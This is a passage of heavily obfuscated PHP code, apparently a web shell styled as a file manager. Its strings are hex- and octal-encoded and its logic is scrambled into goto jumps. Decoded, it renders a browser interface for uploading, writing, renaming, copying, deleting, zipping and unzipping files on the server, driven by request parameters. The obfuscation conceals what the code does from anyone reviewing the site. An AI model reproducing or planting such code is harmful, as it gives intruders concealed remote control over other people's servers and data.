"\x20\40\47\x2b\x66\157\162\155\141\x74\x46\151\154\145\x53\x69\x7a\145\x28\x6d\141\170\x46\x69\x6c\145\123\151\x7a\145\x29\40\51\73\15\12\11\x9\11\x9\x9\x9\11\11\x24\x28\x22\43\x46\x69\154\145\125\160\154\157\x61\x64\102\x74\x6e\x22\x29\56\x61\164\164\162\x28\42\144\151\x73\141\142\x6c\x65\144\x22\x2c\x20\42\144\x69\x73\141\142\x6c\145\x64\x22\51\x3b\xd\12\x9\x9\x9\x9\11\x9\x9\x7d\x20\145\154\163\x65\x20\x24\x28\x27\x23\x46\x69\x6c\x65\x55\x70\x6c\157\x61\144\114\x61\x62\x65\x6c\x73\165\x63\x63\145\163\163\x27\51\x2e\x68\x74\x6d\x6c\50\47\x27\51\x3b\xd\xa\x9\11\11\x9\11\11\x9\15\xa\x9\x9\x9\x9\x9\11\x9\15\xa\x9\x9\11\x9\x9\x9\175\xd\12\11\11\11\11\11\11\40\40\15\xa\x9\x9\x9\11\x9\11\xd\12\x9\x9\x9\11\11\11\xd\xa\11\x9\11\11\11\x9\175\x29\73\40\x9\15\12\x9\11\x9\x9\11\11\xd\xa\x9\11\x9\xd\xa\11\x9\11\x24\50\42\x23\143\157\x6e\x74\145\x6e\x74\x22\51\x2e\x68\164\155\154\x28\x4c\157\141\x64\x69\x6e\x67\x48\164\x6d\154\x29\73\15\xa\11\x9\40\40\40\x20\40\x24\x2e\x67\x65\x74\112\x53\117\116\x28\42\77\x74\x61\x62\154\x65\46\160\141\147\145\x3d\61\42\54\40\x66\x75\x6e\x63\164\151\x6f\156\50\x72\145\x73\x75\x6c\x74\51\173\40\15\12\x9\11\11\x24\50\42\43\143\x6f\x6e\x74\x65\156\164\x22\51\56\150\x74\x6d\x6c\50\162\x65\x73\x75\154\x74\56\164\141\x62\x6c\x65\x29\x3b\40\15\xa\x9\x9\40\40\40\40\x24\50\47\x23\142\162\145\x61\144\x63\x72\x75\155\x62\47\x29\56\150\x74\155\154\x28\162\145\x73\x75\154\164\56\x64\151\162\x48\164\155\x6c\51\73\15\xa\x9\11\x9\x24\50\x27\43\144\x69\x72\x65\143\164\157\x72\x79\x27\51\56\166\x61\x6c\x28\162\145\163\165\154\164\56\144\x69\x72\51\73\15\xa\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\57\x2f\40\x69\x6e\x69\x74\x20\142\x6f\x6f\164\x70\x61\x67\40\x2d\x73\x6d\xd\xa\x9\11\11\44\50\x27\43\141\x6c\145\162\164\x27\x29\56\x68\x74\x6d\154\50\162\x65\x73\165\x6c\164\x2e\x61\154\x65\x72\x74\51\x3b\xd\12\x9\11\11\xd\12\11\x9\x9\x20\44\x28\x27\43\160\x61\x67\151\156\x61\164\151\x6f\x6e\47\51\56\164\x77\142\x73\x50\x61\x67\x69\156\141\164\x69\x6f\x6e\50\173\xd\12\40\x20\40\40\x20\x20\x20\40\x74\157\x74\x61\154\x50\141\147\145\163\72\40\162\x65\x73\x75\x6c\164\x2e\x74\x6f\164\141\154\x2c\xd\12\x20\x20\x20\x20\x20\x20\40\x20\x76\151\163\x69\142\x6c\x65\120\x61\147\x65\x73\72\x20\65\54\15\12\11\11\x66\x69\x72\x73\x74\40\x3a\x20\47"; goto Uvpku; zhAD5: echo "\x22\76\x3c\57\163\160\141\x6e\76\40\15\12\11\40\40\x20\40\74\x62\x75\x74\x74\157\x6e\40\40\164\171\160\x65\x3d\x22\x62\165\x74\164\157\156\x22\40\x63\x6c\x61\x73\163\x3d\42\142\164\x6e\40\x62\164\x6e\x2d\x73\165\143\x63\x65\x73\163\42\40\157\156\x63\x6c\x69\x63\153\75\x22\x7a\151\160\x41\x6e\144\x43\157\x6e\x74\x65\156\x74\50\x29\x22\76"; goto tGinT; AkfID: echo "\47\x29\x3b\x9\15\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\144\151\162\x20\75\x20\162\x65\160\154\141\x63\x65\137\x64\x69\x72\x28\44\x28\47\43\x4e\145\x77\106\x6f\154\144\x65\x72\104\151\x72\47\x29\x2e\x76\141\154\x28\51\x29\73\40\11\11\11\x20\xd\12\11\x9\11\x20\40\x20\44\x2e\x67\x65\164\x4a\x53\x4f\116\50\42\77\x6e\145\167\146\157\x6c\x64\x65\x72\x3d\x22\x2b\44\50\x27\43\x4e\x65\x77\106\x6f\154\x64\x65\x72\x49\x6e\160\165\164\47\x29\56\166\141\154\x28\x29\53\x22\46\x74\x61\x62\x6c\x65\x26\x64\151\x72\x3d\42\53\x64\151\162\54\40\146\x75\156\x63\x74\151\x6f\x6e\x28\144\x61\164\141\51\173\44\50\42\x23\x63\157\x6e\164\145\x6e\x74\x22\51\x2e\x68\164\x6d\x6c\x28\144\x61\x74\x61\x2e\x74\141\142\154\145\x29\73\44\x28\47\x23\x61\154\x65\x72\164\x27\51\x2e\150\x74\155\154\50\144\x61\164\x61\x2e\141\154\145\x72\164\51\x3b\40\x24\50\x27\x23\x4e\x65\x77\106\x6f\x6c\x64\x65\x72\114\x61\x62\145\x6c\x73\165\143\x63\x65\x73\163\x27\51\x2e\x68\164\x6d\x6c\50\47\x27\x29\73\44\50\x27\x23\x4e\x65\x77\x46\x6f\x6c\x64\x65\x72\x49\156\160\165\164\47\51\56\166\141\x6c\x28\x27\47\x29\x3b\44\50\47\x23\116\x65\167\x46\157\154\144\145\162\47\51\56\155\157\144\141\x6c\50\47\150\x69\144\145\x27\x29\73\175\x29\x3b\x9\x9\x9\x9\11\x20\40\xd\xa\11\11\x9\175\xd\12\xd\xa\x9\11\15\xa\x9\x9\11\x66\165\156\x63\164\x69\x6f\x6e\40\122\x65\x6d\157\166\145\101\x6e\x64\x43\x6f\156\164\145\156\x74\50\x29\15\12\11\11\11\x7b\xd\xa\11\x9\x9\40\x20\x20\44\x28\x27\x23\122\145\155\x6f\x76\x65\x4c\141\142\x65\x6c\163\x75\143\x63\x65\163\x73\x27\x29\x2e\x68\164\x6d\154\x28\47"; goto I7rDP; HMJk0: UKBy1: goto YO_wj; uESLq: echo "\47\51\x3b\175\x29\73\15\12\11\11\x9\x20\x20\x20\44\50\42\x23\154\151\x73\x74\106\x6f\154\x64\x65\x72\x46\151\154\145\163\42\51\56\150\164\x6d\x6c\50\x27\x3c\154\151\x3e\74\143\x65\x6e\x74\145\x72\x3e\74\x73\x70\141\156\x20\143\x6c\x61\163\163\75\42\114\157\x61\144\x69\x6e\147\x22\76\x3c\x2f\163\160\x61\156\x3e\x3c\x62\x72\76\x3c\142\x72\x3e"; goto AxKzN; uegp3: $CIvJG[20] = "\x52\145\x6e\141\x6d\145"; goto Ir1ju; Uvpku: if ($FNpgA) { goto Y301Y; } goto w0fvP; Di98v: echo "\47\51\73\xd\12\x9\x9\x9\x9\x24\x28\42\x23\110\x72\x65\146\x42\x72\157\x77\x73\x65\42\x29\56\150\164\155\154\x28\47"; goto on69x; SmpCG: function tGcmh() { goto KuZsG; GwzW2: if (file_exists("\x2e\57\x6a\x73\x2f\142\157\157\x74\x73\x74\162\x61\x70\56\155\151\156\x2e\x6a\x73")) { goto eoubH; } goto RtDvQ; XHqE1: if (file_exists("\56\57\x63\163\163\57\142\157\x6f\x74\163\x74\162\x61\x70\55\162\x74\154\56\x6d\151\156\56\x63\163\163")) { goto pN8st; } goto riczE; tiVs1: $F57Nt .= "\74\x73\x63\x72\x69\160\x74\40\163\162\143\x3d\x22\x2e\57\x6a\163\57\x6a\x71\165\x65\x72\x79\55\62\x2e\62\56\60\56\x6d\x69\x6e\x2e\152\x73\x22\76\x3c\x2f\x73\x63\x72\151\x70\164\76"; goto ck4aq; VsFyz: jS5ad: goto UUspj; b2Yw6: pN8st: goto k0Ras; QQnlF: $F57Nt = ''; goto Fs6jx; cQuIZ: DB2DN: goto tiVs1; drzDR: YR3Hm: goto DrCwn; mgdaY: goto jS5ad; goto JHvOP; Ea2qG: $F57Nt .= "\74\163\x63\x72\x69\160\x74\40\x73\162\143\x3d\42\x2f\57\x63\x6f\144\145\x2e\x6a\x71\x75\145\x72\171\x2e\x63\x6f\x6d\x2f\x6a\161\165\x65\162\x79\55\62\x2e\x32\x2e\60\56\x6d\x69\x6e\x2e\152\163\42\x3e\74\x2f\x73\x63\162\151\x70\x74\76"; goto AFn97; mQ0yA: hlUMF: goto dKa1B; poG4_: goto Ceu5C; goto hHshN; MPkm1: goto YR3Hm; goto b2Yw6; AFn97: goto sywi_; goto cQuIZ; KuZsG: global $FNpgA; goto QQnlF; FBog9: goto hlUMF; goto NhCec; ui11v: Ceu5C: goto HPlt9; RtDvQ: $F57Nt .= "\x3c\163\143\162\151\160\x74\40\x73\162\143\75\x22\x2f\57\x6d\141\x78\x63\144\156\56\x62\x6f\157\164\163\164\x72\141\160\x63\144\156\56\143\x6f\155\57\x62\x6f\x6f\x74\163\x74\162\x61\160\57\x33\x2e\63\x2e\66\x2f\152\163\x2f\142\x6f\157\164\x73\x74\x72\x61\160\x2e\x6d\151\156\x2e\x6a\163\42\x3e\74\x2f\163\143\162\x69\160\164\x3e"; goto FBog9; ck4aq: sywi_: goto GwzW2; k0Ras: $F57Nt .= "\74\x6c\x69\x6e\x6b\x20\150\162\x65\x66\x3d\x22\x2e\x2f\x63\x73\x73\57\x62\157\x6f\x74\x73\x74\x72\141\x70\55\162\x74\x6c\56\x6d\151\x6e\x2e\x63\163\x73\x22\40\x72\145\x6c\75\x22\163\164\x79\x6c\x65\163\150\145\145\x74\x22\76"; goto drzDR; dRxen: return $F57Nt; goto WYuHG; hHshN: Nhmkq: goto UmOCF; riczE: $F57Nt .= "\x3c\154\151\x6e\153\x20\x72\145\154\x3d\x22\x73\x74\x79\154\x65\163\x68\x65\x65\x74\x22\40\150\x72\x65\x66\x3d\42\57\x2f\x63\x64\x6e\x2e\162\x61\167\147\x69\164\x2e\x63\x6f\x6d\x2f\155\x6f\x72\x74\145\x7a\141\x2f\x62\x6f\157\x74\163\164\x72\x61\160\x2d\162\164\154\x2f\x76\x33\x2e\63\x2e\64\57\144\x69\163\x74\57\x63\163\163\57\142\157\157\164\163\164\x72\x61\160\x2d\x72\x74\x6c\56\x6d\x69\x6e\x2e\143\x73\x73\42\76"; goto MPkm1; DrCwn: fZL8z: goto dRxen; Fs6jx: if (file_exists("\x2e\57\x63\163\x73\57\142\x6f\157\x74\x73\164\x72\x61\x70\56\x6d\151\156\x2e\143\163\163")) { goto Nhmkq; } goto GzuKP; IVxLk: $F57Nt .= "\74\x73\x63\x72\151\x70\164\x20\x73\x72\143\x3d\x22\56\57\152\x73\x2f\x6a\161\x75\x65\162\171\x2e\164\167\x62\x73\120\141\147\151\x6e\141\164\151\157\156\x2e\x6d\x69\156\x2e\x6a\x73\42\76\74\57\x73\143\x72\x69\160\164\x3e"; goto VsFyz; JHvOP: apMsl: goto IVxLk; GzuKP: $F57Nt .= "\x3c\154\151\156\153\40\162\x65\154\75\42\163\164\x79\x6c\x65\163\150\145\x65\x74\x22\40\150\x72\x65\146\x3d\x22\x2f\57\x6d\x61\x78\x63\x64\156\56\x62\x6f\157\164\x73\x74\x72\x61\160\143\144\156\x2e\x63\157\155\57\x62\157\x6f\x74\163\x74\x72\141\x70\x2f\x33\56\x33\56\66\57\143\x73\163\57\142\x6f\x6f\x74\163\164\x72\141\x70\56\x6d\151\156\x2e\143\163\x73\x22\x3e"; goto poG4_; dKa1B: if (file_exists("\x2e\57\152\163\57\x6a\x71\x75\x65\162\x79\x2e\164\167\142\x73\120\x61\147\151\156\141\x74\x69\157\x6e\x2e\155\151\x6e\x2e\x6a\x73")) { goto apMsl; } goto v5jdB; v5jdB: $F57Nt .= "\74\x73\x63\x72\x69\160\x74\40\163\162\143\x3d\42\57\57\162\141\167\x2e\147\151\x74\150\x75\x62\165\x73\x65\162\143\x6f\156\164\x65\x6e\164\56\x63\157\155\x2f\145\163\x69\x6d\x61\x6b\151\x6e\57\164\x77\x62\x73\x2d\160\141\x67\x69\x6e\141\x74\151\157\x6e\x2f\144\145\166\x65\154\x6f\160\57\152\x71\x75\145\x72\171\56\x74\x77\142\163\x50\x61\x67\151\156\x61\x74\x69\157\156\56\x6d\x69\x6e\56\152\163\x22\x3e\x3c\57\x73\143\x72\151\x70\164\x3e"; goto mgdaY; NhCec: eoubH: goto D2Tum; HPlt9: if (file_exists("\56\57\x6a\163\x2f\152\161\x75\145\x72\x79\55\62\x2e\62\56\60\x2e\155\x69\156\56\152\163")) { goto DB2DN; } goto Ea2qG; UmOCF: $F57Nt .= "\x3c\x6c\x69\156\x6b\x20\x68\162\x65\x66\x3d\42\56\57\x63\163\163\x2f\x62\157\157\x74\163\164\162\141\160\56\155\151\156\56\143\163\163\x22\40\162\x65\x6c\75\42\x73\164\171\x6c\145\x73\150\x65\145\164\x22\x3e"; goto ui11v; D2Tum: $F57Nt .= "\74\x73\143\x72\x69\160\164\40\x73\162\143\75\x22\56\57\x6a\x73\57\x62\157\x6f\x74\163\x74\x72\x61\x70\56\x6d\x69\156\56\x6a\x73\42\x3e\74\57\x73\143\x72\151\x70\x74\x3e"; goto mQ0yA; UUspj: if (!$FNpgA) { goto fZL8z; } goto XHqE1; WYuHG: } goto ZNEBB; sKUbC: echo "\x20\74\57\150\x34\x3e\xd\xa\x20\x20\40\40\40\40\74\x2f\x64\151\x76\76\15\12\x20\x20\x20\x20\40\40\74\x64\x69\166\40\x63\x6c\x61\163\163\x3d\42\x6d\x6f\x64\141\x6c\55\142\x6f\144\x79\42\76\xd\12\11\x20\40\x20\x20\x3c\151\x6e\160\165\x74\x20\x69\144\x3d\x22\x46\x72\157\155\106\157\x6c\x64\145\162\104\151\162\x22\x20\x74\171\x70\145\75\x22\x68\151\144\144\145\x6e\x22\40\x3e\11\15\12\x9\x9\74\x69\x6e\x70\x75\164\40\164\x79\x70\x65\75\x22\164\145\x78\x74\x22\x20\x63\154\141\x73\x73\75\42\x66\x6f\162\155\x2d\143\x6f\x6e\164\x72\x6f\154\42\x20\x69\144\x3d\x22\124\x6f\x46\157\154\x64\145\162\x49\156\x70\165\164\42\76\xd\12\x20\x20\40\x20\x20\40\x3c\x2f\144\151\x76\x3e\15\xa\40\40\x20\x20\40\74\x64\151\166\x20\x63\154\141\x73\163\75\42\155\157\144\141\x6c\55\x66\x6f\x6f\x74\145\x72\42\76\xd\12\x9\40\xd\12\x9\x20\40\x20\x20\x3c\x73\160\141\156\40\151\x64\75\x22\103\x6f\160\x79\114\x61\142\x65\154\x73\x75\x63\x63\x65\163\x73\42\40\143\x6c\x61\163\x73\x3d\x22\154\141\x62\145\154\40\x6c\x61\x62\x65\x6c\x2d\163\x75\x63\x63\x65\x73\x73\40\x70\165\154\154\x2d"; goto aaynE; n54qN: function lwX0M($nyi6h) { goto g9uSM; EiFw_: k7bzw: goto Up2Ex; zeQ0z: $FvT3Z = array(); goto rEzm0; rEzm0: $Pk4VY = array(); goto cY79T; Up2Ex: Vv6RD: goto hM0mM; ePCfO: foreach ($Neukl as $KhbAx) { goto Mrb6Q; q_XcR: $imz7x++; goto wWTdR; swsSA: $HbHPr[] = date("\x64\x2f\x6d\x2f\131\40\110\x3a\151\72\x73", @filemtime($E0reN . "\x2f" . $KhbAx)); goto TIC7_; XzDGD: hbsdh: goto swsSA; Ix1W8: $Pk4VY[] = $KhbAx; goto XzDGD; avk8D: HzdLN: goto Ix1W8; tMiBs: goto hbsdh; goto avk8D; wWTdR: Vh2zu: goto kGU2e; kGU2e: if (is_dir($KhbAx)) { goto HzdLN; } goto im5rC; hsYZd: if (!($KhbAx !== "\x2e\56")) { goto Vh2zu; } goto q_XcR; TIC7_: tPUzl: goto d6WGI; d6WGI: oce7P: goto HCFfS; im5rC: $FvT3Z[] = $KhbAx; goto tMiBs; Mrb6Q: if (!((in_array(LU4vd($KhbAx), $MTWgC[0]) || count($MTWgC[0]) == 0) && $KhbAx !== "\x2e")) { goto tPUzl; } goto hsYZd; HCFfS: } goto EiFw_; g9uSM: global $MTWgC, $E0reN; goto cyccv; F4zQn: $Neukl = is_dir($nyi6h) ? @scandir($nyi6h) : array(); goto F7pDq; cY79T: $imz7x = 0; goto F4zQn; hM0mM: return array("\x6c\x69\163\x74" => array_merge($Pk4VY, $FvT3Z), "\x74\151\155\145\163" => $HbHPr, "\143\x6f\165\156\164" => $imz7x); goto T6M0l; F7pDq: if (!(is_array($Neukl) || is_object($Neukl))) { goto Vv6RD; } goto ePCfO; cyccv: $HbHPr = array(); goto zeQ0z; T6M0l: } goto rQTG9; QExbW: goto HircK; goto HMJk0; zuZX1: unset($CIvJG); goto LML6O; ysUVi: echo "\42\76\74\x2f\163\160\x61\x6e\x3e\x20\15\12\11\x20\x20\40\x20\x3c\x62\x75\x74\164\x6f\x6e\40\40\164\x79\x70\x65\x3d\42\x62\x75\164\x74\x6f\156\x22\x20\x63\154\x61\x73\163\75\42\142\164\x6e\x20\x62\x74\156\x2d\x73\x75\143\x63\145\163\163\42\40\x6f\x6e\143\154\x69\143\x6b\75\42\x52\145\x6d\x6f\x76\145\x41\156\144\x43\157\x6e\164\145\x6e\x74\50\51\42\x3e"; goto kgM3A; u32l0: function cWB0U($KhbAx) { goto S0xoU; CB1Nm: goto ZSjs2; goto oaE8w; u41zs: $k8LVN .= "\x3c\x61\40\x64\x61\x74\x61\55\x74\157\147\x67\154\x65\x3d\x22\x74\157\x6f\x6c\164\x69\160\42\x20\x74\151\164\x6c\x65\75\x22" . $CIvJG[41] . "\42\x20\157\x6e\143\154\151\x63\x6b\x3d\42\x53\145\164\132\151\x70\x46\x69\x6c\145\115\157\144\141\154\x61\164\164\x72\50" . "\x27" . $E0reN . "\57" . $KhbAx . "\x26\x64\151\162\75" . $E0reN . "\x26\x70\x61\147\x65\x3d" . $xUEaS . "\47" . "\x29\73\x20\x72\145\164\165\x72\156\x20\x66\x61\x6c\163\x65\x3b\42\x20\x68\162\x65\146\x3d\x22\x23\x22\x3e\74\x73\x70\x61\156\x20\x63\154\x61\x73\x73\x3d\42\132\151\x70\x49\x63\157\x6e\x22\x3e\x3c\57\163\x70\x61\156\76\x3c\x2f\141\76\x20"; goto aU1cZ; t1nFi: S8FRt: goto rdqAs; PYGhb: $k8LVN .= "\x3c\x61\x20\144\x61\164\141\55\164\x6f\147\147\154\x65\x3d\42\x74\x6f\x6f\x6c\164\x69\x70\42\40\164\151\164\154\x65\75\42" . $CIvJG[40] . "\42\40\x6f\156\x63\154\151\x63\153\75\42\123\x65\x74\x43\157\x70\x79\x46\151\x6c\x65\115\157\144\x61\x6c\141\x74\164\x72\x28" . "\x27" . $E0reN . "\x2f" . $KhbAx . "\x26\144\x69\x72\x3d" . $E0reN . "\46\160\x61\x67\x65\x3d" . $xUEaS . "\47" . "\51\x3b\x20\x72\145\x74\x75\x72\x6e\40\x66\141\154\163\x65\73\42\x20\x68\162\145\x66\x3d\42\43\42\x3e\x3c\163\x70\x61\x6e\40\143\x6c\141\x73\x73\x3d\42\103\157\160\x79\x49\x63\x6f\156\42\x3e\x3c\57\x73\160\141\x6e\76\x3c\x2f\141\76"; goto dpoiq; u9m7M: $k8LVN .= "\74\x61\x20\144\x61\164\x61\55\164\157\x67\x67\154\x65\75\42\x74\x6f\x6f\x6c\164\151\x70\x22\40\164\151\164\x6c\x65\75\x22" . $CIvJG[18] . "\42\40\x20\157\x6e\143\x6c\151\143\153\x3d\x22\x53\x65\x74\123\150\x6f\x77\106\x69\154\x65\115\x6f\x64\141\x6c\141\x74\x74\x72\x28" . "\47" . $E0reN . "\x2f" . $KhbAx . "\57\46\160\145\162\160\141\x67\x65\x3d" . $MUq3Q . "\46\43\x64\151\162\145\143\x74\x6f\x72\171\x27" . "\51\x3b\40\162\x65\x74\x75\162\156\40\146\141\154\x73\145\x3b\42\40\x20\150\162\145\146\75\x22\43\42\76\74\163\x70\141\156\40\143\x6c\141\x73\163\x3d\42\x4f\106\157\154\x64\x65\x72\x49\143\157\156\x22\76\74\57\x73\x70\141\156\76\x3c\x2f\141\76\40"; goto b2EAp; K4qPi: if (is_dir($E0reN . "\x2f" . $KhbAx)) { goto zGDHT; } goto jn7cQ; i0W01: $MUq3Q = lwX0M($E0reN . "\x2f" . $KhbAx); goto BW_U2; u1w_P: goto ZSjs2; goto MmwFi; vJChO: if (!$q4G5q) { goto Pby_I; } goto K4qPi; BW_U2: $MUq3Q = $MUq3Q["\x63\157\165\156\x74"]; goto u9m7M; oaE8w: WRQja: goto ggsxy; rdqAs: $k8LVN = "\74\x61\40\x64\141\x74\141\55\164\x6f\x67\147\154\x65\x3d\42\164\x6f\157\154\164\x69\x70\x22\40\164\151\x74\x6c\145\x3d\42" . $CIvJG[1] . "\42\40\x6f\x6e\x63\x6c\151\143\153\x3d\42\123\x65\x74\x52\145\155\157\x76\145\x4d\157\x64\141\x6c\x61\x74\x74\162\x28" . "\47" . $E0reN . "\57" . $KhbAx . "\x26\144\x69\162\x3d" . $E0reN . "\46\x70\141\147\x65\x3d" . $xUEaS . "\47" . "\x29\73\40\x72\145\164\x75\x72\x6e\40\x66\x61\154\163\145\x3b\42\40\x68\x72\x65\x66\x3d\x22\43\x22\x3e\74\x73\x70\141\x6e\x20\143\x6c\141\x73\x73\x3d\42\x52\145\155\x6f\x76\145\111\x63\157\156\42\x3e\74\57\x73\x70\141\156\x3e\74\57\x61\x3e\x20"; goto vJChO; P1DO6: if (in_array(Lu4vD($KhbAx), array("\x7a\x69\x70", "\x72\x61\x72", "\67\172", "\147\172\151\160", "\164\141\x72", "\x77\151\x6d", "\x78\x7a"))) { goto ypC5a; } goto vJ6Xy; QUwYA: if (!($KhbAx == "\x4d\x61\x74\x63\x68\137\156\x6f\x74\137\x66\x6f\165\156\x64")) { goto vDWZu; } goto sB3rc; dpoiq: $k8LVN .= "\74\141\40\x64\141\164\141\x2d\x74\x6f\x67\147\154\145\x3d\42\x74\157\157\x6c\164\151\x70\42\x20\164\151\x74\154\145\x3d\42" . $CIvJG[20] . "\x22\x20\x6f\156\143\154\x69\143\x6b\x3d\42\123\145\164\x52\145\x6e\x61\x6d\x65\x4d\157\x64\141\154\141\x74\164\162\x28" . "\x27" . $E0reN . "\x2f" . $KhbAx . "\46\x64\x69\x72\x3d" . $E0reN . "\x26\160\x61\x67\x65\x3d" . $xUEaS . "\47" . "\x29\x3b\x20\x72\145\x74\x75\162\x6e\40\146\141\x6c\x73\x65\x3b\42\x20\x68\162\145\x66\x3d\42\43\x22\76\74\163\x70\x61\156\40\x63\x6c\x61\163\x73\75\x22\x52\x65\x6e\x61\x6d\145\x49\143\x6f\x6e\x22\x3e\74\x2f\x73\x70\141\156\76\x3c\x2f\141\76"; goto DvgF6; aU1cZ: ZSjs2: goto xjJZ6; eOPcw: return "\55\55"; goto t1nFi; b2EAp: unset($MUq3Q); goto CB1Nm; ToRvN: vDWZu: goto QJpww; S0xoU: global $E0reN, $xUEaS, $q4G5q, $CIvJG, $imz7x, $MTWgC; goto QUwYA; jn7cQ: if (in_array(lU4vd($KhbAx), $MTWgC[2])) { goto WRQja; } goto P1DO6; DvgF6: return $k8LVN; goto b0bGL; xjJZ6: Pby_I: goto PYGhb; MmwFi: zGDHT: goto i0W01; Ti93B: ypC5a: goto u41zs; QJpww: if (!($KhbAx == "\x2e\x2e")) { goto S8FRt; } goto eOPcw; vJ6Xy: $k8LVN .= "\74\141\x20\x64\141\164\x61\x2d\164\x6f\x67\147\x6c\145\75\x22\164\157\157\154\x74\151\160\x22\x20\x74\x69\x74\x6c\x65\x3d\42" . $CIvJG[3] . "\x22\40\x6f\x6e\143\x6c\151\143\x6b\75\42\123\145\x74\123\150\157\167\106\151\154\145\x4d\157\144\141\x6c\x61\x74\x74\162\x28" . "\x27" . $E0reN . "\57" . $KhbAx . "\x27" . "\x29\73\40\x72\x65\x74\x75\162\x6e\40\146\141\x6c\x73\x65\x3b\42\x20\150\x72\145\146\x3d\x22\43\42\76\x3c\x73\160\141\x6e\40\143\x6c\x61\163\x73\75\x22\x53\150\157\x77\x49\143\x6f\x6e\x22\76\x3c\57\x73\160\141\156\76\x3c\57\141\x3e\x20"; goto u1w_P; sB3rc: return "\x2d\x2d"; goto ToRvN; utwdF: goto ZSjs2; goto Ti93B; ggsxy: $k8LVN .= "\74\141\40\x64\141\x74\x61\x2d\164\x6f\x67\147\154\145\75\42\x74\x6f\x6f\x6c\164\151\x70\x22\x20\x74\151\x74\x6c\145\75\x22" . $CIvJG[3] . "\42\x20\157\156\x63\x6c\x69\x63\x6b\75\x22\x53\x65\x74\123\150\x6f\x77\106\x69\x6c\145\x4d\x6f\144\141\154\141\164\x74\x72\50" . "\47" . $E0reN . "\57" . $KhbAx . "\47" . "\x29\73\40\162\x65\164\165\162\156\40\x66\x61\x6c\x73\x65\x3b\42\40\150\x72\x65\x66\x3d\42\43\x22\x3e\74\163\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\x22\x49\155\x61\147\145\x49\143\157\x6e\42\76\x3c\57\163\x70\x61\156\76\x3c\x2f\x61\76\x20"; goto utwdF; b0bGL: } goto o5Gn0; CxAu4: er2h2: goto CT4YP; fd1Nv: if (!isset($_GET["\143\157\160\x79"])) { goto l6m57; } goto zeCq0; snqiM: $dm0oc[7] = "\x64\141\164\141\x3a\151\155\141\x67\x65\57\x70\156\147\73\x62\x61\x73\145\66\64\x2c\x69\x56\x42\x4f\x52\x77\60\113\x47\147\x6f\x41\x41\101\101\x4e\123\125\150\x45\125\147\x41\x41\101\102\x41\101\x41\x41\x41\x51\103\101\131\x41\x41\101\101\146\x38\57\x39\x68\x41\x41\x41\x41\x2f\105\154\105\121\x56\121\x34\x6a\x61\x32\124\120\125\x70\104\x55\x52\x43\106\102\62\167\x73\157\x70\x56\144\x4e\x75\x41\127\131\160\162\x6f\x41\162\x4b\x47\153\115\x36\x55\60\x54\170\x49\x71\151\x6b\145\141\115\x69\67\67\x35\x78\x54\132\101\x58\160\x33\156\x49\103\x77\x64\162\117\x42\142\147\101\x6d\57\x73\147\x76\116\70\157\x44\x67\170\x63\x37\x73\x7a\x35\x35\152\103\x58\x61\x2f\x59\146\64\145\x35\63\112\104\143\101\x76\x4a\160\160\155\147\x35\x37\x41\x53\x51\63\x37\x6a\x36\157\x33\147\116\x77\123\144\x2f\126\127\160\111\x6b\x4e\x37\x58\x47\x4a\x6a\x41\101\152\53\x34\x2b\x69\x71\x4b\x34\x4d\152\120\x4c\x38\61\167\x41\156\117\x54\x37\x4a\x59\x43\61\165\x39\x39\155\127\x58\x5a\x50\x38\153\102\171\102\x57\101\x62\x61\x31\x74\x33\166\53\x34\x45\126\x48\132\x7a\x42\104\101\x43\x4d\112\x4d\125\x4a\113\x57\71\x44\x73\67\161\123\x77\103\x6a\145\110\64\103\x73\x4c\170\x6f\102\x36\125\64\150\x50\102\147\132\x68\x5a\x43\145\113\171\112\165\x77\102\170\x38\166\150\x4d\57\x4e\157\x32\160\121\x59\147\53\x56\113\113\x41\x55\167\153\156\144\160\x63\61\147\101\153\106\x2b\x55\x7a\x41\x5a\x6a\105\x37\x54\x65\66\142\x41\122\111\x2b\147\x49\x77\x6c\67\121\152\x75\127\x70\172\x32\x51\155\x51\71\x41\x6e\147\165\x61\x32\156\x45\x2f\x44\x72\x48\x70\x4a\124\153\x6d\71\116\156\x36\154\115\153\x76\165\53\111\130\x2b\113\x48\x31\53\x58\165\x79\60\65\61\147\125\66\x41\101\101\x41\101\x45\x6c\106\124\153\x53\x75\x51\155\103\x43"; goto VBBcR; nycVj: echo "\74\57\143\145\x6e\164\145\162\x3e\47\51\73\15\xa\11\x9\11\40\x20\x20\x24\50\42\43\x46\x6f\x6c\x64\145\x72\x55\x6e\172\x69\x70\x49\x6e\160\165\x74\42\x29\x2e\x61\x74\164\162\x28\42\144\151\163\141\142\x6c\145\144\42\54\40\42\144\151\x73\141\142\x6c\x65\144\42\x29\73\xd\xa\11\x9\x9\x20\40\x20\44\50\47\43\x5a\x69\x70\114\x61\x62\145\x6c\163\165\x63\143\x65\163\x73\x27\x29\56\x68\164\155\x6c\50\47"; goto TAsBj; W3TEi: Ltuyj(); goto fcefC; UQHop: echo "\42\x3e\x3c\57\x73\160\x61\x6e\76\x20\15\12\40\x20\x20\40\40\x20\x20\x20\x20\x20\74\142\165\164\x74\157\x6e\40\164\x79\160\145\x3d\42\x62\165\x74\164\x6f\156\x22\40\x63\x6c\x61\163\x73\75\42\x62\x74\x6e\40\x62\164\x6e\55\x73\x75\143\143\145\163\x73\x22\40\40\151\x64\x3d\42\x46\x69\154\x65\x57\x72\x69\x74\145\x42\x74\x6e\42\40\157\156\x63\154\151\143\153\x3d\x22\x77\162\151\x74\x65\x41\x6e\144\x43\x6f\x6e\164\x65\x6e\164\50\x29\x22\x20\x3e"; goto k16nx; LWDKb: $Neukl[0] = $_GET["\x73\145\141\162\x63\x68"]; goto wpGov; jYEXF: echo "\56\164\x72\x65\145\x76\151\x65\167\40\165\154\x3a\x62\x65\x66\x6f\162\145\x20\x7b\x63\157\156\164\x65\156\164\x3a\x22\42\73\144\151\x73\x70\154\141\171\72\142\154\x6f\x63\153\x3b\167\x69\144\x74\x68\x3a\x30\x3b\x70\x6f\163\151\164\151\157\156\x3a\x61\x62\x73\x6f\x6c\165\x74\145\x3b\164\x6f\x70\x3a\60\x3b\x72\151\x67\150\164\x3a\x30\x3b\142\157\162\144\x65\x72\55\162\x69\x67\x68\164\72\61\x70\x78\x20\x73\x6f\x6c\x69\144\x3b\142\x6f\x74\164\157\155\72\61\65\160\170\x3b\x7d\15\12\56\164\162\x65\145\166\151\145\x77\x20\x75\154\x20\x6c\x69\72\x62\145\146\157\x72\x65\x20\173\143\157\x6e\164\x65\x6e\x74\72\42\x22\73\x64\x69\163\160\x6c\x61\171\72\x62\154\157\x63\x6b\x3b\